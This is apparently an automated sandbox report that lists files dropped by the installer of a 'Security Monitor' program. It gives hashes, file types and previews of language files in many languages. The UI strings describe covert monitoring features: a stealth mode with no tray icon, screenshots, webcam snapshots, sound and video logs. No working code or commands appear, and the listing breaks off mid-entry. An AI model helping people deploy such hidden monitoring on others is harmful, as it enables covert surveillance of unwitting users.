Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42553
Entropy (8bit):	5.039163820303254
Encrypted:	false
SSDEEP:	768:qqOkDx1eVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DldDMomI6u5DumZ/6A9X:qqb5nIA9X
MD5:	34E55F7E9F1B2541BE0A17FB6871F9C9
SHA1:	C9E188BCC39C88251CE9CBBA13E20F7BCA48F89F
SHA-256:	B02273E5A9A45909D24B7349E45BE521B9421CB93CE1803BAE7B4FA317443376
SHA-512:	D2C86622CD0726F5A480D11A3734C742D82853467CF3C1FB36F9ADE0873227862E26C366B8DD1E45B8D48F6AF62BA22FCD2C4C8FEEEEC6740B290F3E814ED65D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-0HUUT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17081
Entropy (8bit):	5.237330658373566
Encrypted:	false
SSDEEP:	384:fd+wUQhflYfUg7EXwoXy5Pt/5k9bS+RnNMvjxYay:fVli88Pt/ObVNsxYay
MD5:	665E034C26764DC99A3E8C8A9EDC54BB
SHA1:	4CBF034140A28CF6BBF436C13D718E588DCA20BD
SHA-256:	4E8BBFDEFB2414F62B84AB41831EBAC15E8D5571022B14FF697C6788D0A73068
SHA-512:	DE73A62A6930B91563D67DC38F14549269285A75E9B0C36285E455AE85D4A2FD423CCBE0095A489AC795EB6D97210CE2FCEC25322CF6A1EDDD5EB9A2085741A2
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Ba.la"..tbStartHint="G.nl.k tutmay. a."..tbStop="Durdur"..tbStopHint="G.nl.k tutmay. kapat"..tbFind="Bul"..tbFindHint="G.nl.k bilgisi ara"..tbSetting="Ayarlar"..tbSettingHint="Program ayarlar."..tbAbout="Hakk.nda"..tbAboutHint="Hakk.nda / kay.t bilgisi"..tbHomePage="Ana Sayfa"..tbHomePageHint="Program.n Ana Sayfas.na Git"..tbToday="Bug.n"..tbTodayHint="Bug.n.n g.nl...ne git"..tbHide="Gizle"..tbHideHint="Gizlilik modu (Sistem .ubu.unda hi. simge yok)"..tbMinimize="K...lt"..tbMinimizeHint="Simge Durumuna K...lt"..tbExit="..k"..tbExitHint="..k ve g.nl... durdur"..gbLog="Olay G.nl..."..tCurrLogSize="G.nl.k Boyutu (Mb)"..tCurrScrSize="Ekran Resmi Boyutu (Mb)"..tCurrSnpSize="Web Kameras.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-2U17P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19337
Entropy (8bit):	5.025077721740106
Encrypted:	false
SSDEEP:	384:USTHedgI9UbHmTZCmfwoxKza62zxpZ6EV00azBKh:U0I2bH2kRKKzwxpZnj4Kh
MD5:	7EB33A9C085F56E0004E166D1702EEA1
SHA1:	C8C514993F866C3282F2E53C231E5961EE8E3B90
SHA-256:	F96F92DFCD7C119EBD998989312F009D9ABA9E5C3A5B7899A8DD146370F5AFC4
SHA-512:	BA7B7716AD33D71247CEE9CC8B630BBA9B948654D366A892D5F1471B4A5FAD908A774600E8577223FFC043D4BD620BFC4222D2CC833B2AD1DF13CF7ADA5A203E
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Erfassung aktivieren"..tbStop="Stop"..tbStopHint="Erfassung deaktivieren"..tbFind="Finden"..tbFindHint="Nach Protokoll Informationen suchen"..tbSetting="Einstellungen"..tbSettingHint="Programm Einstellungen"..tbAbout=".ber"..tbAboutHint=".ber/ Informationsinfo"..tbHomePage="Home Page"..tbHomePageHint="Gehen Sie zum Programm Home Page"..tbToday="Heute"..tbTodayHint="Gehen Sie zum heutigen Protokoll"..tbHide="Verstecken"..tbHideHint="Stelth Modus (Kein Icon im Systempfad)"..tbMinimize="Minimieren"..tbMinimizeHint="Auf Ablage minimieren"..tbExit="Ausgang"..tbExitHint="Ausgang und Protokollstopp"..gbLog="Vorgangsprotokoll"..tCurrLogSize="Protokollgr..e (Mb)"..tCurrScrSize="Screenshots Gr..e (Mb)"..tCur

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-3ODUV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20359
Entropy (8bit):	4.977393911384311
Encrypted:	false
SSDEEP:	384:Ui/yM5JVBb8Mc2MfcwNx0TiTtGNleNglf8sj1AzDqqSo:UFGYD+icNleNhcIGqd
MD5:	3115ABE2CF8075BB08D1B7EA95180E7E
SHA1:	752F7833223EDB298E903C9731E78A3109E026D3
SHA-256:	156C2CDE62ABF6D9289B85054F707FA8777A722EC2DDBC0615544A216E633133
SHA-512:	C5DE077A294349896E2D846808806AF67B9E29E7EC1358B763A8F66381F839983A4ADE4C751A8A36C84EE20E8ADD1E5F869759000F527284F4312D9803617BC3
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Commencez"..tbStartHint="Activez le journal de bord"..tbStop="Arr.tez "..tbStopHint="D.sactivez le journal de bord"..tbFind="Trouvez"..tbFindHint="Recherchez des informations dans le journal de bord"..tbSetting="Param.tres"..tbSettingHint="Les param.tres du programme"..tbAbout=". propos"..tbAboutHint=". propos / informations de journal de bord"..tbHomePage="Page d'accueil"..tbHomePageHint="Allez . la page d'accueil du programme"..tbToday="Aujourd'hui"..tbTodayHint="Allez dans journal de bord d.aujourd'hui"..tbHide="Masquez"..tbHideHint="Le mode furtif (pas d'ic.ne dans la zone de notification)"..tbMinimize="Minimisez"..tbMinimizeHint="Minimisez au magasin"..tbExit="Quittez"..tbExitHint=" Quittez et arr.tez le jour

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-5TKF1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19915
Entropy (8bit):	4.91205436276521
Encrypted:	false
SSDEEP:	384:URE/HLpJKNLC8/c0vrhUhdpZ/i7fTfHV8Vpx+M26iYi/pVF8g2EM2luoEJroH:Ue4L5c0dffTfHV8Vpx126PGcIMoH
MD5:	86FB78830003953DE6F23C5978938899
SHA1:	CD181B6DD4049697DD2E824DCABB57D9B21CCE0A
SHA-256:	0E132271314F42D37505EA9844E8EE102B9A0FC65946852BE8150CD088BB8357
SHA-512:	8862242298848BF0096B63F5F0FDDC70C446239910DD16F7B5AB604414CB6D10DFB636A7BC7AD1D66F33B6D88DCC08EE95F0B0B04E686E74E68FFBF9EC70C47A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=" Empec."..tbStartHint="Habilite el registro"..tbStop="Det.ngase"..tbStopHint="Desactive el registro"..tbFind="Encuentre"..tbFindHint="Busque la informaci.n del registro"..tbSetting="Ajustes"..tbSettingHint="Ajustes del programa"..tbAbout="Acerca de"..tbAboutHint="Acerca de / informaci.n de registro"..tbHomePage="P.gina Principal"..tbHomePageHint="Ir a la P.gina Principal del programa"..tbToday="Hoy"..tbTodayHint="Ir al registro de hoy"..tbHide="Oculte"..tbHideHint="El modo invisible (ninguno icono en la bandeja del sistema)"..tbMinimize="Minimice"..tbMinimizeHint="Minimizar a la bandeja"..tbExit="Salir"..tbExitHint="Salir y parada del registro"..gbLog="Registro de eventos"..tCurrLogSize="Tama.o del registro (Mb)"..tCu

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-8J1BH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	27393
Entropy (8bit):	5.064150437041318
Encrypted:	false
SSDEEP:	768:lBliK0GRTzXqMKGCYv/DOo8eKjHHhSvMonfGQ3R:8KLTz/4WCo8eaHhW7n+QB
MD5:	9087FB9892DDAA830650011299AF2670
SHA1:	FF023B1F38F5B7D093C4F2AAB3470B1575BFA806
SHA-256:	969FC0043D05C76A4FBD148A0087DB9768B62D1DA17212D11A50F0A4A77CCBFC
SHA-512:	D0A9F5FFA8752A01F04B2B61024575E270D53FF5D30180EB4C3FC70C2A5A3D7A794DBE7B596CEC08E0554514D4113C2EC218B3C6533F0B3B952148C46DB8781A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..##############################################################################..# ........! .. ....... ........ ..... ..... .. ..... "="!..##############################################################################..tbStart="....."..tbStartHint="...... ...... ......."..tbStop="...."..tbStopHint="......... ...... ......."..tbFind="....."..tbFindHint="..... .......... . ...."..tbSetting="........."..tbSettingHint="......... ........."..tbAbout=". ......"..tbAboutHint=". ......... / ............... .........."..tbHomePage=".. ...."..tbHomePageHint="....... ........ ........ ........."..tbToday="......."..tbTodayHint="....... . ............ ...."..tbHide="......"..tbHideHint="......... ..... (... ..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-EGR32.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19350
Entropy (8bit):	4.977328299832863
Encrypted:	false
SSDEEP:	192:UfZj6oFtyWJJJuou35vzX6FcNnAy9+1C9ou8drw+MjKcEdQAi2jC+WUH:UfZj6oFtyWXRybX6Ad4C9q+pEdbvXx
MD5:	05104FA93BC4180DCD6752F77382F263
SHA1:	2A83710D4B63BF666D681D3F5E9C21324EB2581C
SHA-256:	A2150D0BBC660122C1C183FCA420CFAAE7539956F20BA135DEC4655B3B212A6E
SHA-512:	54ACDEAB94D389256C90FFB31934AE0182D7CB4F644CA671EE5F9599697357244B7F2F9CEA33D3CBE70463615389BF02E148818F99E9513DAF9A4D44B05913CD
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="In.cio"..tbStartHint="Habilitar registro"..tbStop="Parar"..tbStopHint="Desabilitar registro"..tbFind="Buscar"..tbFindHint="Procurar por informa..o de registro"..tbSetting="Configura..es"..tbSettingHint=" Configura..es de programa"..tbAbout="Sobre"..tbAboutHint="Sobre / informa..es de registro"..tbHomePage="P.gina Inicial"..tbHomePageHint="Ir para a P.gina Inicial do Programa"..tbToday="Hoje"..tbTodayHint="Ir para o registro de hoje"..tbHide="Ocultar"..tbHideHint="Modo Furtivo (nenhum .cone na Bandeja do Sistema)"..tbMinimize="Minimizar"..tbMinimizeHint="Minimizar Bandeja"..tbExit="Sair"..tbExitHint="Sair e parar o registro"..gbLog="Registro de Eventos"..tCurrLogSize="Tamanho do Log - Registro (Mb)"..tCurrScrSize=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-FKAG8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17468
Entropy (8bit):	4.879377232061119
Encrypted:	false
SSDEEP:	192:f9xAt+/MjlJ/5mOT3Y7hzjeJRz1QIGiGU/F6lDCDjY3qfTmXq6Cf3CxMprBarJKW:f9xAt+/YJRm7hzjqRzlXjUo7Qgo7c8DD
MD5:	C3930BE227C51A5887BFB0F6D8575548
SHA1:	D6A32283BC35FE18207EDAE4626D5D299CE50592
SHA-256:	E50FDC95BC49000FF5DC52A830925CEDF684B2F7100397BFB22D8D5430E920F0
SHA-512:	F42F25DAC17F0096CA2EA998E0B84A1A8CFFABAB5256C24DAAA1210F50DB43D903D481C64C98250EB7A5297684582D085540EA445F6E7156DBA3ADC42410AA57
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Enable logging"..tbStop="Stop"..tbStopHint="Disable logging"..tbFind="Find"..tbFindHint="Search for log information"..tbSetting="Settings"..tbSettingHint="Program settings"..tbAbout="About"..tbAboutHint="About / registration info"..tbHomePage="Home Page"..tbHomePageHint="Go to the Program Home Page"..tbToday="Today"..tbTodayHint="Go to todays log"..tbHide="Hide"..tbHideHint="Stealth mode (no icon in the System Tray)"..tbMinimize="Minimize"..tbMinimizeHint="Minimize to Tray"..tbExit="Exit"..tbExitHint="Exit and stop log"..gbLog="Event Log"..tCurrLogSize="Log Size (Mb)"..tCurrScrSize="Screenshots Size (Mb)"..tCurrSnpSize="Webcam Snapshots size (Mb)"..tCurrSoundsSize="Sound files size (Mb)"..tCurrVideosSize="W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-H5H85.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15013
Entropy (8bit):	6.013025249187838
Encrypted:	false
SSDEEP:	192:9DL/YIoCnMY+innEvlPTgFQXU516bXHsFAp/JfloqJPeNKi:9DL/YIoCnMMnEpEXyb3cAtJfav
MD5:	98FE3D6DA49E6A81B5C6A5D5ABF2E69A
SHA1:	A90458B40E3559466180B29822E0E83CC3000632
SHA-256:	FB966B8124C5CEDCEC536B5DFE54168F7AA07DC9717D4099EA67A8DF72342F50
SHA-512:	EA826D7205C882B74D20A4A0499A2966F47BD88CE01326D55B105BAA267606FE0F5C20F995762CC5E320F1273E4C06B0E6840815F2E2601A59CF7F3B12B25372
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### ....... "=".......! ############..###############################################################################..tbStart=".."..tbStartHint="...."..tbStop=".."..tbStopHint="...."..tbFind=".."..tbFindHint="......"..tbSetting=".."..tbSettingHint="...."..tbAbout=".."..tbAboutHint=".. / ...."..tbHomePage=".."..tbHomePageHint="......"..tbToday=".."..tbTodayHint="......"..tbHide=".."..tbHideHint="................"..tbMinimize="..."..tbMinimizeHint="......"..tbExit=".."..tbExitHint="......."..gbLog="...."..tCurrLogSize="....(Mb)"..tCurrScrSize="......(Mb)"..tCurrSnpSize=".........(Mb)"..tCurrSoundsSize="...... (Mb)"..tCurrVideosSize=".

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-N4H6P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	4.95775402864365
Encrypted:	false
SSDEEP:	384:UyK3wUGkRqqS7M2IgCEAIAiIYNwCPjuPTyySHaNM7lcomkn3J:UhgqSUdEpNw+jMTHS6eJ
MD5:	C61869FD95FCAA4887007EE40C1AEF78
SHA1:	5B2E9E425C48F37A3C6F2AFCFD35569BE240FB0C
SHA-256:	4EBE5322D84F71C59E806B8BD29D3C53D3FDA1C82238084FBAA8852DE668E14E
SHA-512:	815D5C77AF6F439D5FD3C254B6F1957537A30507D4BB40CB5ADB6FDC817D2389BD5B8D69F7AE67AF87C1F42B7A5799E0F82A0A3A0C543CFF46E72B74D867F9A8
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="..."..tbStartHint="..... ......."..tbStop="...."..tbStopHint="..... ......."..tbFind="....."..tbFindHint="..... .. ....... ......."..tbSetting="........."..tbSettingHint="....... ........"..tbAbout="..."..tbAboutHint=".../...... ......."..tbHomePage="...... ........"..tbHomePageHint="...... ... ...... ........"..tbToday="....."...tbTodayHint="...... ... ... ....."..tbHide="....."..tbHideHint="..... ..... (.. .... ... .. .... ......)"..tbMinimize="....."..tbMinimizeHint="..... ... ......"..tbExit="...."..tbExitH

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-OMJG1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12536
Entropy (8bit):	4.8846461435532245
Encrypted:	false
SSDEEP:	384:UCTESqmmj063sRDYVLf0Xj/KgqYFP6ez7zUc4:UMmj93sRD80zDt4
MD5:	772446C6263F1055F474A1AE2EFF7A11
SHA1:	E3C521C7105C860D8139030D2363647821E593D7
SHA-256:	E346F5CE552A3E5216E2826D86C64135372B51EA74BF4DE468C442A43B1F3E63
SHA-512:	FCD7A0EB648B02F9FED9F50078A197EE4C6BC1451AF6CFDD5A0376B42EA2F448B2D9C09560ACFDAA959707762F2E36470C470D33C10290274BC04BF58B15B2BE
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Abilita logging"..tbStop="Stop"..tbStopHint="Disabilita logging"..tbFind="Trova"..tbFindHint="Cerca informazioni di log"..tbSetting="Impostazioni"..tbSettingHint="Impostazioni programma"..tbAbout="Circa"..tbAboutHint="Circa / informazioni di registrazione"..tbHomePage="Home Page"..tbHomePageHint="Vai alla Home Page del programma"..tbToday="Oggi"..tbTodayHint="Vai al log di oggi"..tbHide="Nascondi"..tbHideHint="Modalit. Stealth (nessuna icona nella barra delle applicazioni)"..tbMinimize="Minimizza"..tbMinimizeHint="Minimizza nel Tray"..tbExit="Esci"..tbExitHint="Esci e ferma il log"..gbLog="Log Eventi"..tCurrLogSize="Dimensioni correnti Log (Mb)"..tCurrScrSize="Dimensioni correnti Screenshot (Mb)"..tMaxL

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-P4G6I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.546409615191028
Encrypted:	false
SSDEEP:	384:UZbTxZJZoqbCXEgYNOZFnXzLlWQIrNacguCX:UBsFXz5W1NaOCX
MD5:	CBEC3F081899B6B55B280D8F3DD4B3D2
SHA1:	F340F12DD49A6F6D2E20999788430A6951E7950B
SHA-256:	95C2CF8B3687D4EE57D51E982684660264A443D0AE516F6144728AC0C77FFCE4
SHA-512:	F4C7027A5BEDBC2F6E44DA52F59B35FAC8A3657DB9796F9B8BE4B660D25083544597ED525EEADD2B9373325E3E6FD83BD9736BAA8E50187F5F8CCFF989D6A140
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="...."..tbStartHint=".........."..tbStop="...."..tbStopHint=".........."..tbFind="...."..tbFindHint="........."..tbSetting=".."..tbSettingHint="........"..tbAbout="...."..tbAboutHint=".... /...."..tbHomePage="......"..tbHomePageHint="................"..tbToday=".."..tbTodayHint="........"..tbHide=".."..tbHideHint="....... (..................)"..tbMinimize="....."..tbMinimizeHint="........."..tbExit=".."..tbExitHint=".........."..gbLog=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-VUEPE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.761139641515786
Encrypted:	false
SSDEEP:	384:fA4WN9lOQy166uXz7tw7ROcW70cfgjqiK3xuaMV4Q:fAfy1LuntiROcWLNuaMVt
MD5:	BAF8BBC333EA4877FF98E6EC0437E18F
SHA1:	43FE338508BA6B1E59B5B0D21A641DEB4F887F82
SHA-256:	32CAC64ABA0B7BEC0C48D76CE6D6C3695E241173CAD408C4F2F220CB5AE6A87B
SHA-512:	5E2ED8A0DF57200E7FD2FF5F1F21041A3800AE92C66B550B91116D0E50685C3602467C738601D071049B1D3E74ED92DB2DAE5CE6D33F9776F8C2F62AA2E36C1E
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=".."..tbStartHint=".. .."..tbStop=".."..tbStopHint=".. ...."..tbFind=".."..tbFindHint=".. .. .."..tbSetting=".."..tbSettingHint=".... .."..tbAbout=".."..tbAboutHint=".. / .. .."..tbHomePage="...."..tbHomePageHint=".... ..... .."..tbToday=".."..tbTodayHint=".. ... .."..tbHide=".."..tbHideHint="... .. (... .... ... .. ..)"..tbMinimize="..."..tbMinimizeHint=".... ..."..tbExit=".."..tbExitHint=".... .. .."..gbLog="... .."..tCurrLogSize=".. .. (Mb)"..tCurrScrSize=".... .. (Mb)"..tCurrSnpSize=".. .

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12536
Entropy (8bit):	4.8846461435532245
Encrypted:	false
SSDEEP:	384:UCTESqmmj063sRDYVLf0Xj/KgqYFP6ez7zUc4:UMmj93sRD80zDt4
MD5:	772446C6263F1055F474A1AE2EFF7A11
SHA1:	E3C521C7105C860D8139030D2363647821E593D7
SHA-256:	E346F5CE552A3E5216E2826D86C64135372B51EA74BF4DE468C442A43B1F3E63
SHA-512:	FCD7A0EB648B02F9FED9F50078A197EE4C6BC1451AF6CFDD5A0376B42EA2F448B2D9C09560ACFDAA959707762F2E36470C470D33C10290274BC04BF58B15B2BE
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Abilita logging"..tbStop="Stop"..tbStopHint="Disabilita logging"..tbFind="Trova"..tbFindHint="Cerca informazioni di log"..tbSetting="Impostazioni"..tbSettingHint="Impostazioni programma"..tbAbout="Circa"..tbAboutHint="Circa / informazioni di registrazione"..tbHomePage="Home Page"..tbHomePageHint="Vai alla Home Page del programma"..tbToday="Oggi"..tbTodayHint="Vai al log di oggi"..tbHide="Nascondi"..tbHideHint="Modalit. Stealth (nessuna icona nella barra delle applicazioni)"..tbMinimize="Minimizza"..tbMinimizeHint="Minimizza nel Tray"..tbExit="Esci"..tbExitHint="Esci e ferma il log"..gbLog="Log Eventi"..tCurrLogSize="Dimensioni correnti Log (Mb)"..tCurrScrSize="Dimensioni correnti Screenshot (Mb)"..tMaxL

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10431
Entropy (8bit):	4.953862205312216
Encrypted:	false
SSDEEP:	192:su79jU9jV9jW9ju9j89jM9j39jO9jR6z6C6D6E6f6E6O6Y6Y222K2a2O2G2y2E2S:X9jU9jV9jW9ju9j89jM9j39jO9jR6z6o
MD5:	F253166C14180CDA4CF3682EBDA81E10
SHA1:	42CB7285AE2A1D8FFFBDB8E92DD762F116E6E5E7
SHA-256:	21604302E29A98F4F73EB4DD22C1B3FD52840C05B9438769E8568E69A2AD6890
SHA-512:	26EF9FFCDBE8D66B92954FA2DC046B7049B772B789BD4192D62CCDEA211D613413B241E1527396FCCF6087B041A526641C9D12F5C29810637C42AFF812A15061
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	4.92938927718366
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2tuADuEXu6mp49T20l49D7D7DP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yx
MD5:	3D3D6A046CC73D49EA8D98E66103EBC5
SHA1:	3F3F6AD63BEE3F893EE2F57AF6D261AFD0A8C639
SHA-256:	344EBAAFF1EC7B1BF2A627DD9A5F1B0D3C5D968F23ADA7D6A7175767B29AF483
SHA-512:	405236F4E6F223EFD593A22047B79156ED9695DDE0EB4BB4261891375C3FE586251AD3E9EE9EDF914AC02AB7C51887F16A5897915B0BEE8CC708CF6B116D9342
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
